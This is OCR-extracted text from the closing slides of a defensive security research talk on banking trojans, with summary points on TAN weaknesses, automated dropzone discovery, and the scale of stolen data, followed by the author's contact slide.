x |ndexed TAN can be broken with MitM-attacks
x e have seen these attacks in the wild
x Get mTAN and you should be secure

= [wo-factor authentication also helps in general



Summary

= Many different kinds of banking trojans are out there

= \Ve can find dropzones in an automated way
= Dynamic analysis + user simulation

= onitoring of dropzones Is possible to a certain extend
® \\e can get overview of what attackers are stealing

x (Get better idea of “underground economy”
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Representative? 170,000
victims

& Accessible @ Unaccessible

(3 / 347 dropzones



Conclusion

Thorsten Holz
thorsten.holz@gmail.com

http://honeyblog.org

Acknowledgements:
Carsten Willems, Markus
Engelberth, Felix Freiling,

Frank Boldewin, AusCERT, ...


mailto:thorsten.holz@gmail.com
mailto:thorsten.holz@gmail.com
http://honeyblog.org
http://honeyblog.org

Conclusion

Thorsten Holz
thorsten.holz@gmail.com

http://honeyblog.org

Acknowledgements:
Carsten Willems, Markus
Engelberth, Felix Freiling,

Frank Boldewin, AusCERT, ...


mailto:thorsten.holz@gmail.com
mailto:thorsten.holz@gmail.com
http://honeyblog.org
http://honeyblog.org

